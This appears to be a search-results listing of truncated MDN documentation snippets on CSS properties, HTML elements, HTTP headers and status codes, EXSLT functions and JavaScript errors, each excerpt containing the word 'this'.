this element is not absolutely positioned, the percentage value is treated as 0.computed valuethe percentage as specified or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting min-height table { min-height: 75...
mix-blend-mode - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... candidate recommendation initial definition browser compatibility the compatibility table in
this page is generated from structured data.
object-fit - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... candidate recommendation initial definition browser compatibility the compatibility table on
this page is generated from structured data.
offset - CSS: Cascading Style Sheets
note: early versions of the spec called
this property motion.
... constituent properties
this property is a shorthand for the following css properties: offset-anchor offset-distance offset-path offset-position offset-rotate syntax /* offset position */ offset: auto; offset: 10px 30px; offset: none; /* offset path */ offset: ray(45deg closest-side); offset: path('m 100 100 l 300 100 l 200 300 z'); offset: url(arc.svg); /* offset path with distance and/or rotation */ offset: url(circle.svg) 100px; offset: url(circle.svg) 40%; offset: url(circle.svg) 30deg; offset: url(circle.svg) 50px 20deg; /* including offset anchor */ offset: ray(45deg closest-side) / 40px 20px; offset: url(arc.svg) 2cm / 0.5cm 3cm; offset: url(arc.svg) 30deg / 50px 100px; formal definition initial valueas each of the properties of the shorthand:offset-position: autooffs...
opacity - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...ne 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial value1.0applies toall elementsinheritednocomputed valuethe specified value, clipped in the range [0,1]animation typea number formal syntax <alpha-value>where <alpha-value> = <number> | <percentage> examples setting background opacity html <div class="light">you can barely see
this.</div> <div class="medium">
this is easier to see.</div> <div class="heavy">
this is very easy to see.</div> css div { background-color: yellow; } .light { opacity: 0.2; /* barely see the text over the background */ } .medium { opacity: 0.5; /* see the text more clearly over the background */ } .heavy { opacity: 0.9; /* see the text very clearly over the background */ } result setting ...
outline-offset - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... recommendation initial definition browser compatibility the compatibility table in
this page is generated from structured data.
overflow-block - CSS: Cascading Style Sheets
this may be nothing, a scroll bar, or the overflow content.
...(
this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow-inline - CSS: Cascading Style Sheets
this may be nothing, a scroll bar, or the overflow content.
...(
this prevents scrollbars from appearing or disappearing when the content changes.) printers may still print overflowing content.
overflow-wrap - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... formal definition initial valuenormalapplies tonon-replaced inline elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | break-word | anywhere examples comparing overflow-wrap, word-break, and hyphens
this example compares the results of overflow-wrap, word-break, and hyphens when breaking up a long word.
overscroll-behavior-x - CSS: Cascading Style Sheets
contain default scroll overflow behavior is observed inside the element
this value is set on (e.g.
...to avoid
this, you can set overscroll-behavior-x: contain on the inner box: main > div { height: 300px; width: 500px; overflow: auto; position: relative; top: 100px; left: 100px; overscroll-behavior-x: contain; } specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior-x' in that specification.
padding-block-end - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... description
this property corresponds to the padding-top, padding-right, padding-bottom, or padding-left property depending on the values defined for writing-mode, direction, and text-orientation.
padding-block-start - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... description
this property corresponds to the padding-top, padding-right, padding-bottom, or padding-left property depending on the values defined for writing-mode, direction, and text-orientation.
padding-inline-end - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... description
this property corresponds to the padding-top, padding-right, padding-bottom, or padding-left property depending on the values defined for writing-mode, direction, and text-orientation.
padding-inline-start - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... description
this property corresponds to the padding-top, padding-right, padding-bottom, or padding-left property depending on the values defined for writing-mode, direction, and text-orientation.
padding-inline - CSS: Cascading Style Sheets
s */ padding-inline: 10px 20px; /* an absolute length */ padding-inline: 1em 2em; /* relative to the text size */ padding-inline: 10px; /* sets both start and end values */ /* <percentage> values */ padding-inline: 5% 2%; /* relative to the nearest block container's width */ /* global values */ padding-inline: inherit; padding-inline: initial; padding-inline: unset; constituent properties
this property is a shorthand for the following css properties: padding-inline-end padding-inline-start syntax values the padding-inline property takes the same values as the padding-left property.
... description values for
this property correspond to the padding-top and padding-bottom, or padding-right, and padding-left property depending on the values defined for writing-mode, direction, and text-orientation.
paint() - CSS: Cascading Style Sheets
in
this example, we passed two arguments: whether the background-image on a group of list items is filled or just has a stroke outline, and the width of that outline: <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> <li>item 4</li> <li>item 5</li> <li>item 6</li> <li>item 7</li> <li>item 8</li> <li>item 9</li> <li>item 10</li> <li>item 11</li> <li>item 12</li> <li>item 13</li> <li>item 14</li> <l...
... browser compatibility the compatibility table on
this page is generated from structured data.
perspective-origin - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]where <length-percentage> = <length> | <percentage> examples changing the perspective origin
this example shows cubes with popular perspective-origin values.
ruby-align - CSS: Cascading Style Sheets
formal definition initial valuespace-aroundapplies toruby bases, ruby annotations, ruby base containers, ruby annotation containersinheritedyescomputed valueas specifiedanimation typediscrete formal syntax start | center | space-between | space-around examples ruby aligned at the start of the base text html <ruby> <rb>
this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: start; } result ruby aligned at the center of the base text html <ruby> <rb>
this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: center; } result extra space distributed between ruby elements html <ruby> <rb>t...
...his is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: space-between; } result extra space distributed between and around ruby elements html <ruby> <rb>
this is a long text to check</rb> <rp>(</rp><rt>short ruby</rt><rp>)</rp> </ruby> css ruby { ruby-align: space-around; } result specifications specification status comment css ruby layout module level 1the definition of 'ruby-align' in that specification.
scroll-margin-block-end - CSS: Cascading Style Sheets
the scroll-margin-block-end property defines the margin of the scroll snap area at the end of the block dimension that is used for snapping
this box to the snapport.
... the source for
this interactive example is stored in a github repository.
scroll-margin-block-start - CSS: Cascading Style Sheets
the scroll-margin-block-start property defines the margin of the scroll snap area at the start of the block dimension that is used for snapping
this box to the snapport.
... the source for
this interactive example is stored in a github repository.
scroll-margin-bottom - CSS: Cascading Style Sheets
the scroll-margin-bottom property defines the bottom margin of the scroll snap area that is used for snapping
this box to the snapport.
... the source for
this interactive example is stored in a github repository.
scroll-margin-left - CSS: Cascading Style Sheets
the scroll-margin-left property defines the left margin of the scroll snap area that is used for snapping
this box to the snapport.
... the source for
this interactive example is stored in a github repository.
scroll-margin-right - CSS: Cascading Style Sheets
the scroll-margin-right property defines the right margin of the scroll snap area that is used for snapping
this box to the snapport.
... the source for
this interactive example is stored in a github repository.
scroll-margin-top - CSS: Cascading Style Sheets
the scroll-margin-top property defines the top margin of the scroll snap area that is used for snapping
this box to the snapport.
... the source for
this interactive example is stored in a github repository.
scrollbar-width - CSS: Cascading Style Sheets
accessibility concerns use
this property with caution — setting scrollbar-width to thin or none can make content hard or impossible to scroll if the author does not provide an alternative scrolling mechanism.
... wcag criterion 2.1.1 (keyboard) has been in place for a long time to advise on basic keyboard accessibility, and
this should include scrolling of content areas.
shape-margin - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...shape"></div> we are not quite sure of any one thing in biology; our knowledge of geology is relatively very slight, and the economic laws of society are uncertain to every one except some individual who attempts to set them forth; but before the world was fashioned the square on the hypotenuse was equal to the sum of the squares on the other two sides of a right triangle, and it will be so after
this world is dead; and the inhabitant of mars, if he exists, probably knows its truth as we know it.</section> css section { max-width: 400px; } .shape { float: left; width: 150px; height: 150px; background-color: maroon; clip-path: polygon(0 0, 150px 150px, 0 150px); shape-outside: polygon(0 0, 150px 150px, 0 150px); shape-margin: 20px; } result specifications specif...
text-decoration-skip - CSS: Cascading Style Sheets
(
this is important in chinese, where underlining is a form of punctuation.) box-decoration the text decoration is skipped over the box's margin, border, and padding areas.
...
this only has an effect on decorations imposed by an ancestor; a decorating box never draws over its own box decoration.
text-emphasis-color - CSS: Cascading Style Sheets
this value can also be set using the text-emphasis shorthand.
...)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples emphasis with a color and custom character css em { text-emphasis-color: green; text-emphasis-style: "*"; } html <p>here's an example:</p> <em>
this has emphasis marks!</em> result specifications specification status comment css text decoration module level 3the definition of 'text-emphasis' in that specification.
text-emphasis-position - CSS: Cascading Style Sheets
in html,
this can be done with the following style rule: ruby { text-emphasis: none; } preferring emphasis marks over ruby some other editors prefer to hide ruby when they conflict with emphasis marks.
... in html,
this can be done with the following pattern: em { text-emphasis: dot; /* set text-emphasis for <em> elements */ } em rt { display: none; /* hide ruby inside <em> elements */ } specifications specification status comment css text decoration module level 3the definition of 'text-emphasis' in that specification.
text-underline-offset - CSS: Cascading Style Sheets
for a given application of
this property, the offset is constant across the whole box that the underline is applied to, even if there are child elements with different font sizes or vertical alignment.
...it also applies to ::first-letter and ::first-line.inheritedyespercentagesrefer to the font size of the element itselfcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length> | <percentage> examples <p class="oneline">here's some text with an offset wavy red underline!</p> <br> <p class="twolines">
this text has lines both above and below it.
transform-box - CSS: Cascading Style Sheets
formal definition initial valueview-boxapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax content-box | border-box | fill-box | stroke-box | view-box examples svg transform-origin scoping in
this example we have an svg: <svg id="svg" xmlns="http://www.w3.org/2000/svg" viewbox="0 0 50 50"> <g> <circle id="center" fill="red" r="1" transform="translate(25 25)" /> <circle id="boxcenter" fill="blue" r=".5" transform="translate(15 15)" /> <rect id="box" x="10" y="10" width="10" height="10" rx="1" ry="1" stroke="black" fill="none" /> </g> </svg> in the css we have an animation ...
... svg{ width:80vh; border:1px solid #d9d9d9; position:absolute; margin: auto; top: 0; right: 0; bottom: 0; left: 0; } #box{ transform-origin:50% 50%; /*+++++++++++++++++++++++++++*/ /* if i remove
this rule the pen won't work properly on chrome for mac, ff, safari will still work properly on chrome for pc & opera*/ transform-box: fill-box; /*alternatively i can use transform-origin:15px 15px;*/ /*+++++++++++++++++++++++++++*/ animation: rotatebox 3s linear infinite; } @keyframes rotatebox { to { transform: rotate(360deg); } full credit for
this example goes to pogany; see t...
rotate3d() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... cartesian coordinates on ℝ2
this transformation applies to the 3d space and can't be represented on the plane.
rotateX() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3
this transformation applies to the 3d space and can't be represented on the plane.
rotateY() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3
this transformation applies to the 3d space and can't be represented on the plane.
rotateZ() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... cartesian coordinates on ℝ2 homogeneous coordinates on ℝℙ2 cartesian coordinates on ℝ3 homogeneous coordinates on ℝℙ3
this transformation applies to the 3d space and can't be represented on the plane.
scale() - CSS: Cascading Style Sheets
this scaling transformation is characterized by a two-dimensional vector.
...if both coordinates are equal, the scaling is uniform (isotropic) and the aspect ratio of the element is preserved (
this is a homothetic transformation).
skew() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this transformation is a shear mapping (transvection) that distorts each point within an element by a certain angle in the horizontal and vertical directions.
skewX() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this transformation is a shear mapping (transvection) that distorts each point within an element by a certain angle in the horizontal direction.
skewY() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this transformation is a shear mapping (transvection) that distorts each point within an element by a certain angle in the vertical direction.
<url> - CSS: Cascading Style Sheets
confusingly,
this meant that url() could be used to create a <uri> css data type.
...
this change was not only awkward but, debatably, unnecessary, since urns are almost never used in actual css.
user-modify - CSS: Cascading Style Sheets
/* keyword values */ user-modify: read-only; user-modify: read-write; user-modify: write-only; /* global values */ user-modify: inherit; user-modify: initial; user-modify: unset;
this property has been replaced by the contenteditable attribute.
... examples html <div class="readwrite">the user is able to change
this text.</div> css .readwrite { -moz-user-modify: read-write; -webkit-user-modify: read-write; } specifications not part of any standard.
var() - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this value may contain any character except some characters with special meaning like newlines, unmatched closing brackets, i.e.
widows - CSS: Cascading Style Sheets
formal definition initial value2applies toblock container elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <integer> examples controlling column widows html <div> <p>
this is the first paragraph containing some text.</p> <p>
this is the second paragraph containing some more text than the first one.
... it is used to demonstrate how widows work.</p> <p>
this is the third paragraph.
regexp:replace() - EXSLT
the character flags are: g - global replace if
this flag is specified, all occurrences of the regular expression within the originalstring are replaced.
... i - case insensitive match if
this flag is specified, the match is performed in a case insensitive fashion.
regexp:test() - EXSLT
the character flags are: g global match has no effect for
this function; it's allowed for consistency with other regexp functions.
... i case insensitive match if
this flag is specified, the match is performed in a case insensitive fashion.
str:tokenize() - EXSLT
delimiters each character in
this string is used as a word separator while tokenizing.
... example: str:tokenize('2007-09-14-03t11:40:23', '-t:') returns a node set like
this: <token>2007</token> <token>09</token> <token>14</token> <token>11</token> <token>40</token> <token>23</token> specifications exslt - str:tokenize ...
Orientation and motion data explained - Developer guides
this article provides details about the coordinate systems at play and how you use them.
... note: on a phone or tablet, the orientation of the device is always considered in relation to the standard orientation of the screen;
this is the "portrait" orientation on most devices.
Using device orientation with 3D transforms - Developer guides
this article provides tips on how to use device orientation information in tandem with css 3d transforms.
...
this is achieved by inverting the previous order of rotations and negating the alpha value: var elem = document.getelementbyid("view3d"); window.addeventlistener("deviceorientation", function(e) { // again, use vendor-prefixed transform property elem.style.transform = "rotatey(" + ( -e.gamma ) + "deg)" + "rotatex(" + e.beta + "deg) " + "rotatez(" + - ( e.alpha - 180 ) + "deg) "; }); ...
HTML attribute: crossorigin - HTML: Hypertext Markup Language
these attributes are enumerated, and have the following possible values: keyword description anonymous cors requests for
this element will have the credentials flag set to 'same-origin'.
... use-credentials cors requests for
this element will have the credentials flag set to 'include'.
<hgroup> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
<input type="datetime"> - HTML: Hypertext Markup Language
this feature has been removed from whatwg html, and is no longer supported in browsers.
... the format of the date and time value used by
this input type is described in format of a valid global date and time string in date and time formats used in html.
<legend> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... permitted parents a <fieldset> whose first child is
this <legend> element implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmllegendelement attributes
this element only includes the global attributes.
<map> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlmapelement attributes
this element includes the global attributes.
<ruby> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes
this element only includes the global attributes.
<slot> - HTML: Hypertext Markup Language
permitted parents any element that accepts phrasing content implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlslotelement attributes
this element includes the global attributes.
...; font-style: italic } </style> <details> <summary> <code class="name"><<slot name="element-name">need name</slot>></code> <i class="desc"><slot name="description">need description</slot></i> </summary> <div class="attributes"> <h4>attributes</h4> <slot name="attributes"><p>none</p></slot> </div> </details> <hr> </template> note: you can see
this complete example in action at element-details (see it running live).
<span> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlspanelement (before html5, the interface was htmlelement) attributes
this element only includes the global attributes.
class - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...for example, attribute to describe an attribute rather than italics, although an element of
this class may be presented by italics.
data-* - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...for example, a space-ship "sprite" in a game could be a simple <img> element with a class attribute and several data-* attributes: <img class="spaceship cruiserx3" src="shipx3.png" data-ship-id="324" data-weapons="laseri laserii" data-shields="72%" data-x="414354" data-y="85160" data-z="31940" onclick="spaceships[
this.dataset.shipid].blasted()"> for a more in-depth tutorial about using html data attributes, see using data attributes.
itemscope - HTML: Hypertext Markup Language
> <img itemprop="image" src="https://udn.realityripple.com/samples/60/d063c361c1.jpg" width="50" height="50" /> <p> by <span itemprop="author" itemscope itemtype="http://schema.org/person"> <span itemprop="name">carol smith</span> </span> </p> <p> published: <time datetime="2009-11-05" itemprop="datepublished">november 5, 2009</time> </p> <span itemprop="description">
this is my grandmother's apple pie recipe.
... structured data itemscope itemtype recipe itemprop name grandma's holiday apple pie itemprop image https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg itemprop datepublished 2009-11-05 itemprop description
this is my grandmother's apple pie recipe.
itemtype - HTML: Hypertext Markup Language
this vocabulary defines a standard set of type names and property names.
...in
this case, musicevent would be the url used by itemtype, with startdate and location as itemprop's which musicevent defines.
HTML reference - HTML: Hypertext Markup Language
this html reference describes all elements and attributes of html, including global attributes that apply to all elements.
... html element reference
this page lists all the html elements, which are created using tags.
Data URLs - HTTP
[convert]::tobase64string([text.encoding]::utf8.getbytes("hello")) # outputs to console: agvsbg8= bash -c "echo -n hello`|base64" # outputs to console: agvsbg8= # the backtick (`) is used to escape the piping (|) character here common problems
this section describes problems that commonly occur when creating and using data urls.
... data:text/html,lots of text...<p><a name%3d"bottom">bottom</a>?arg=val
this represents an html resource whose contents are: lots of text...<p><a name="bottom">bottom</a>?arg=val syntax the format for data urls is very simple, but it's easy to forget to put a comma before the "data" segment, or to incorrectly encode the data into base64 format.
Common MIME types - HTTP
an unknown file type should use
this type.
...
this table lists some important mime types for the web: extension kind of document mime type .aac aac audio audio/aac .abw abiword document application/x-abiword .arc archive document (multiple files embedded) application/x-freearc .avi avi: audio video interleave video/x-msvideo .azw amazon kindle ebook format application/vnd.amazon.ebook .bin any kind of binary data application/octet-stream .bmp windows os/2 bitmap graphics image/bmp ...
Reason: CORS disabled - HTTP
when
this happens, the user needs to turn cors back on in their browser.
...setting
this to true disables cors, so whenever that's the case, cors requests will always fail with
this error.
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ - HTTP
if the client user agent finds among the comma-delineated values provided by the header any header name it does not recognize,
this error occurs.
...
this is a problem that most likely can only be fixed on the server side, by modifying the server's configuration to no longer send the invalid or unknown header name with the access-control-allow-headers header.
Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’ - HTTP
this header specifies a comma-delineated list of the http methods which may be used when using cors to access the url specified in the request; if the request is using any other method,
this error occurs.
... for example, if the response includes: access-control-allow-methods: get,head,post trying to use a put request will fail with
this error.
Feature Policy - HTTP
the feature-policy header has now been renamed to permissions-policy in the spec, and
this article will eventually be updated to reflect that change.
...
this allows you to lock in best practices, even as the codebase evolves over time — as well as to more safely compose third-party content — by limiting which features are available.
Accept-Ranges - HTTP
the value of
this field indicates the unit that can be used to define a range.
... none no range unit is supported,
this makes the header equivalent of its own absence and is therefore rarely used, though some browsers, like ie9, it is used to disable or remove the pause buttons in the download manager.
Access-Control-Allow-Headers - HTTP
this header is required if the request has an access-control-request-headers header.
... access-control-allow-headers: x-custom-header multiple headers
this example shows access-control-allow-headers when it specifies support for multiple headers.
Authorization - HTTP
other types: iana registry of authentication schemes authentification for aws servers (aws4-hmac-sha256) <credentials> if the "basic" authentication scheme is used, the credentials are constructed like
this: the username and the password are combined with a colon (aladdin:opensesame).
...
this method is equally secure as sending the credentials in clear text (base64 is a reversible encoding).
Connection - HTTP
standard hop-by-hop headers can be listed too (it is often the case of keep-alive, but
this is not mandatory).
...
this is the default on http/1.0 requests.
Content-Location - HTTP
this distinction may seem abstract without examples.
... i made
this through `example.com`'s api.
CSP: report-uri - HTTP
csp version 1 directive type reporting directive
this directive is not supported in the <meta> element.
... "\n\nfurther cps violations will be logged to the following log file, but no further email notifications will be sent until
this log file is deleted:\n\n" .
CSP: trusted-types - HTTP
this allows authors to define rules guarding writing values to the dom and thus reducing the dom xss attack surface to small, isolated parts of the web application codebase, facilitating their monitoring and code review.
...
this directive declares a white-list of trusted type policy names created with trustedtypes.createpolicy from trusted types api.
CSP: upgrade-insecure-requests - HTTP
this directive is intended for web sites with large numbers of insecure legacy urls that need to be rewritten.
....png"> navigational upgrades to third-party resources brings a significantly higher potential for breakage, these are not upgraded: <a href="https://example.com/">home</a> <a href="http://not-example.com/">home</a> finding insecure requests with the help of the content-security-policy-report-only header and the report-uri directive, you can set-up an enforced policy and a reported policy like
this: content-security-policy: upgrade-insecure-requests; default-src https: content-security-policy-report-only: default-src https:; report-uri /endpoint that way, you still upgrade insecure requests on your secure site, but the only monitoring policy is violated and reports insecure resources to your endpoint.
Content-Type - HTTP
browsers will do mime sniffing in some cases and will not necessarily follow the value of
this header; to prevent
this behavior, the header x-content-type-options can be set to nosniff.
... <form action="/" method="post" enctype="multipart/form-data"> <input type="text" name="description" value="some text"> <input type="file" name="myfile"> <button type="submit">submit</button> </form> the request looks something like
this (less interesting headers are omitted here): post /foo http/1.1 content-length: 68137 content-type: multipart/form-data; boundary=---------------------------974767299852498929531610575 -----------------------------974767299852498929531610575 content-disposition: form-data; name="description" some text -----------------------------974767299852498929531610575 content-disposition: form-data; name...
Cross-Origin-Embedder-Policy - HTTP
header type response header forbidden header name no syntax cross-origin-embedder-policy: unsafe-none | require-corp directives unsafe-none
this is the default value.
...for example, you can use the crossorigin attribute for
this image from a third-party site: <img src="https://thirdparty.com/img.png" crossorigin> specifications specification html living standardthe definition of 'cross-origin-embedder-policy header' in that specification.
Cross-Origin-Opener-Policy - HTTP
this allows you to have more control over references to a window than rel=noopener, which only affects outgoing navigations.
... header type response header forbidden header name no syntax cross-origin-opener-policy: unsafe-none | same-origin-allow-popups | same-origin directives unsafe-none
this is the default value.
Digest - HTTP
in rfc 7231 terms
this is the selected representation of a resource.
... examples digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe=,unixsum=30637 specifications specification title draft-ietf-httpbis-digest-headers-latest resource digests for http
this header was originally defined in rfc 3230, but the definition of "selected representation" in rfc 7231 made the original definition inconsistent with current http specifications.
If-Match - HTTP
for put and other non-safe methods, it will only upload the resource in
this case.
...if a listed etag has the w/ prefix indicating a weak entity tag, it will never match under
this comparison algorithm.
If-None-Match - HTTP
for other methods, and in particular for put, if-none-match used with the * value can be used to save a file not known to exist, guaranteeing that another upload didn't happen before, losing the data of the previous put;
this problem is a variation of the lost update problem.
...they are a string of ascii characters placed between double quotes (like "675af34563dc-tr34") and may be prefixed by w/ to indicate that the weak comparison algorithm should be used (
this is useless with if-none-match as it only uses that algorithm).
Origin - HTTP
it is similar to the referer header, but, unlike
this header, it doesn't disclose the whole path.
... note: the origin header is not set on fetch requests with a method of head or get (
this behavior was corrected in firefox 65 — see bug 1508661).
Proxy-Authorization - HTTP
<credentials> the credentials are constructed like
this: the username and the password are combined with a colon (aladdin:opensesame).
...
this method is equally secure as sending the credentials in clear text (base64 is a reversible encoding).
Range - HTTP
this is usually bytes.
...
this value is optional and, if omitted, the end of the document is taken as the end of the range.
Sec-Fetch-Site - HTTP
header type fetch metadata request header forbidden header name yes, since it has prefix sec- cors-safelisted response header cors-safelisted request header syntax sec-fetch-site: cross-site sec-fetch-site: same-origin sec-fetch-site: same-site sec-fetch-site: none values cross-site same-origin same-site none
this request does not relate to any context like site, origin, or frame.
...
this can happen when user had initiated
this request by, e.g.
Upgrade - HTTP
http/2 explicitly disallows the use of
this mechanism/header; it is specific to http/1.1.
... for example, the client might send a get request as shown, listing the preferred protocols to switch to (in
this case "example/1" and "foo/2"): get /index.html http/1.1 host: www.example.com connection: upgrade upgrade: example/1, foo/2 note: connection: upgrade must be set whenever upgrade is sent.
X-Forwarded-Proto - HTTP
a standardized version of
this header is the http forwarded header.
...the standardized version of
this header is forwarded.
X-XSS-Protection - HTTP
chrome has removed their xss auditor firefox have not, and will not implement x-xss-protection edge have retired their xss filter
this means that if you do not need to support legacy browsers, it is recommended that you use content-security-policy without allowing unsafe-inline scripts instead.
...
this uses the functionality of the csp report-uri directive to send a report.
PATCH - HTTP
contrast
this with put; which is a complete representation of a resource.
...contrast
this with put; which is always idempotent.
POST - HTTP
in
this case, the content type is selected by putting the adequate string in the enctype attribute of the <form> element or the formenctype attribute of the <input> or <button> elements: application/x-www-form-urlencoded: the keys and values are encoded in key-value tuples separated by '&', with a '=' between the key and the value.
... non-alphanumeric characters in both keys and values are percent encoded:
this is the reason why
this type is not suitable to use with binary data (use multipart/form-data instead) multipart/form-data: each value is sent as a block of data ("body part"), with a user agent-defined delimiter ("boundary") separating each part.
201 Created - HTTP
the new resource is effectively created before
this response is sent back and the new resource is returned in the body of the message, its location being either the url of the request, or the content of the location header.
... the common use case of
this status code is as the result of a post request.
303 See Other - HTTP
this response code is usually sent back as a result of put or post.
... the method used to display
this redirected page is always get.
401 Unauthorized - HTTP
this status is sent with a www-authenticate header that contains information on how to authorize correctly.
...
this status is similar to 403, but in
this case, authentication is possible.
410 Gone - HTTP
the hypertext transfer protocol (http) 410 gone client error response code indicates that access to the target resource is no longer available at the origin server and that
this condition is likely to be permanent.
... if you don't know whether
this condition is temporary or permanent, a 404 status code should be used instead.
412 Precondition Failed - HTTP
this happens with conditional requests on methods other than get or head when the condition defined by the if-unmodified-since or if-none-match headers is not fulfilled.
... in that case, the request, usually an upload or a modification of a resource, cannot be made and
this error response is sent back.
426 Upgrade Required - HTTP
the server sends an upgrade header with
this response to indicate the required protocol(s).
... status 426 upgrade required examples http/1.1 426 upgrade required upgrade: http/2.0 connection: upgrade content-length: 53 content-type: text/plain
this service requires use of the http/2.0 protocol specifications specification title rfc 7231, section 6.5.15: 426 upgrade required hypertext transfer protocol (http/1.1): semantics and content ...
500 Internal Server Error - HTTP
this error response is a generic "catch-all" response.
... usually,
this indicates the server cannot find a better 5xx error code to response.
Quantifiers - JavaScript
types the following table is also duplicated on
this cheatsheet.
...for example, given a string like "some <foo> <bar> new </bar> </foo> thing": /<.*>/ will match "<foo> <bar> new </bar> </foo>" /<.*?>/ will match "<foo>" examples repeated pattern var wordendingwithas = /\w+a+\b/; var delicatemessage = "
this is spartaaaaaaa"; console.table(delicatemessage.match(wordendingwithas)); // [ "spartaaaaaaa" ] counting characters var singleletterword = /\b\w\b/g; var notsolongword = /\b\w{1,6}\b/g; var loooongword = /\b\w{13,}\b/g; var sentence = "why do i have to learn multiplication table?"; console.table(sentence.match(singleletterword)); // ["i"] console.table(sentence.match(notsolongword)); // ...
Deprecated and obsolete features - JavaScript
this page lists features of javascript that are deprecated (that is, still available but planned for removal) and obsolete (that is, no longer usable).
...
this does not affect their use in replacement strings: property description $1-$9 parenthesized substring matches, if any.
RangeError: radix must be an integer - JavaScript
why is
this parameter's value limited to 36?
... examples invalid cases (42).tostring(0); (42).tostring(1); (42).tostring(37); (42).tostring(150); // you cannot use a string like
this for formatting: (12071989).tostring('mm-dd-yyyy'); valid cases (42).tostring(2); // "101010" (binary) (13).tostring(8); // "15" (octal) (0x42).tostring(10); // "66" (decimal) (100000).tostring(16) // "186a0" (hexadecimal) ...
TypeError: can't define property "x": "obj" is not extensible - JavaScript
however, in
this case object.preventextensions() marked an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible.
... var obj = { }; object.preventextensions(obj); object.defineproperty(obj, 'x', { value: "foo" } ); // typeerror: can't define property "x": "obj" is not extensible to fix
this error, you will either need to remove the call to object.preventextensions() entirely, or move it to a position so that the property is added earlier and only later the object is marked as non-extensible.
ReferenceError: deprecated caller or arguments usage - JavaScript
message typeerror: 'arguments', 'callee' and 'caller' are restricted function properties and cannot be accessed in
this context (edge) warning: referenceerror: deprecated caller usage (firefox) warning: referenceerror: deprecated arguments usage (firefox) typeerror: 'callee' and 'caller' cannot be accessed in strict mode.
... 'use strict'; function myfunc() { if (myfunc.caller == null) { return 'the function was called from the top!'; } else { return '
this function\'s caller was ' + myfunc.caller; } } myfunc(); // warning: referenceerror: deprecated caller usage // "the function was called from the top!" function.arguments function.arguments is deprecated (see the reference article for more information).
Warning: expression closures are deprecated - JavaScript
this syntax will be removed entirely in bug 1083458 and scripts using it will throw a syntaxerror then.
... var x = function() { return 1; } var obj = { count: function() { return 1; } }; standard syntax using arrow functions alternatively, you can use arrow functions: var x = () => 1; standard syntax using shorthand method syntax expression closures can also be found with getter and setter, like
this: var obj = { get x() 1, set x(v)
this.v = v }; with es2015 method definitions,
this can be converted to: var obj = { get x() { return 1 }, set x(v) {
this.v = v } }; ...
SyntaxError: missing ) after condition - JavaScript
in javascript,
this condition must appear in parenthesis after the if keyword, like
this: if (condition) { // do something if the condition is true } examples missing parenthesis it might just be an oversight, carefully check all you parenthesis in your code.
... if (3 > math.pi { console.log("wait what?"); } // syntaxerror: missing ) after condition to fix
this code, you would need to add a parenthesis that closes the condition.
RangeError: precision is out of range - JavaScript
however, the ecmascript specification allows to extend
this range.
